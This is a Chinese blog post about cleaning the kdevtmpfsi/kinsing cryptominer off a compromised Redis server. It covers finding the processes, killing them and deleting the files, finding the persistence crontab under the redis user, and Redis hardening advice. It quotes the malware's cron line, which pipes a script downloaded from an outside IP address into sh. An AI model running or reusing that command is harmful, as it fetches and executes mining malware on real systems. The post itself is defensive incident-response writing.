zoukankan      html  css  js  c++  java
  • 彻底清除redis kdevtmpfsi (挖矿病毒)

    最近公司服务器上redis总是过几天就断一次,之前一直好好的,然后就上服务器上去看。一看发现内存占用变成92%,然后有两个cpu占用100%。使用top命令查看后,发现redis有两个进程占了很大资源,这两个进程就是kdevtmpfsi。

    然后就开始百度,百度结果是先停止kdevtmpfsi的守护进程kinsing,然后再停止kdevtmpfsi。最后去tmp目录下把这两个文件都删除了。并使用crontab -l来查看有无定时任务,结果没发现。然后以为就可以了,结果过了两个小时,这个病毒又复活了。

    最后又百度才发现,crontab -l这个命令并不是列出所有用户的定时任务,再次查看kdevtmpfsi的运行状态,发现是redis用户,于是使用crontab -l -u redis。终于发现了有问题的定时任务。然后删除了它,再重复上面过程,到现在已经过了2天,病毒没再出现。

    病毒定时任务:
    wget -q -O - http://195.3.146.118/unk.sh | sh > /dev/null 2>&1
    

    用到的命令如下

    1. top //显示或管理执行中的程序
    2. ps -ef |grep kdevtmpfsi //查看kdevtmpfsi进程信息,记录它pid和用户
    3. ps -ef |grep kinsing //查看kinsing 进程信息,记录它pid和用户
    4. crontab -l -u redis //查看对应用户的定时任务,如果2,3命令反馈结果对应用户是redis,就像这条命令一样
    5. crontab -e -u redis //编辑定时任务,删除病毒的定时任务
    6. kill -9 [pid] //把[pid]替换城2,3命令记录的pid,先执行kinsing的pid,再执行kdevtmpfsi的pid
    7. rm -rf /tmp/kdevtmpfsi //删除kdevtmpfsi
    8. rm -rf /tmp/kinsing //删除kdevtmpfsi
    

    最后最重要的还是要注意redis安全问题,不然以后还是可能中病毒。一定要记得改redis默认端口,设置redis密码,然后设置为只能内网访问。

  • 相关阅读:
    根据服务端生成的WSDL文件创建客户端支持代码的三种方式
    2017第45周一java多线程创建方法
    java 分布式锁
    设计的背后
    Java中的锁概念
    maven变量
    清零成长法
    Java消息队列
    Java9的新特性
    2017第43周日
  • 原文地址:https://www.cnblogs.com/qiuxd/p/14198612.html
Copyright © 2011-2022 走看看